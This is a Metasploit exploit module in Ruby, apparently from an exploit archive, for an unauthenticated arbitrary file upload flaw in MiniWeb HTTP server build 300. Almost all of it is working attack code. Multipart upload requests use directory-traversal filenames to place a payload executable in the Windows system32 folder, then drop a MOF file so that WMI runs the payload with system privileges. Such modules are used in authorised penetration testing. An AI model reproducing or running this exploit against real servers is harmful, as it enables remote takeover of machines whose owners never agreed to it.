MiniWeb 300 – Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /MiniWeb/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "MiniWeb (Build 300) Arbitrary File Upload", 'Description' => %q{ This module exploits a vulnerability in MiniWeb HTTP server (build 300). The software contains a file upload vulnerability that allows an unauthenticated remote attacker to write arbitrary files to the file system. Code execution can be achieved by first uploading the payload to the remote machine as an exe file, and then upload another mof file, which enables WMI (Management Instrumentation service) to execute the uploaded payload. Please note that this module currently only works for Windows before Vista. }, 'License' => MSF_LICENSE, 'Author' => [ 'AkaStep', # Initial discovery 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit ], 'References' => [ ['OSVDB', '92198'], ['OSVDB', '92200'], ['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt'] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ # Tested on MiniWeb build 300, built on Feb 28 2013 # - Windows XP SP3 (EN) ['MiniWeb build 300 on Windows (Before Vista)', {}] ], 'Privileged' => true, 'DisclosureDate' => "Apr 9 2013", 'DefaultTarget' => 0)) register_options([ Opt::RPORT(8000), OptInt.new('DEPTH', [true, 'Traversal depth', 10]) ], self.class) end def peer "#{rhost}:#{rport}" end def check begin uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") end if !res or res.headers['Server'].empty? return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /^MiniWeb$/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def upload(filename, filedata) print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'") uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}") depth = "../" * (datastore['DEPTH'] + rand(10)) boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n" post_data << "\r\n#{filedata}\r\n" post_data << "--#{boundary}\r\n" begin res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") end return res end def exploit fname = "#{rand_text_alpha(rand(10)+5)}" # upload exe exe_name = "WINDOWS/system32/#{fname}.exe" exe = generate_payload_exe print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)") upload(exe_name, exe) # upload mof mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof" mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)") upload(mof_name, mof) # list files to clean up register_file_for_cleanup("#{::File.basename(exe_name)}") register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") end end |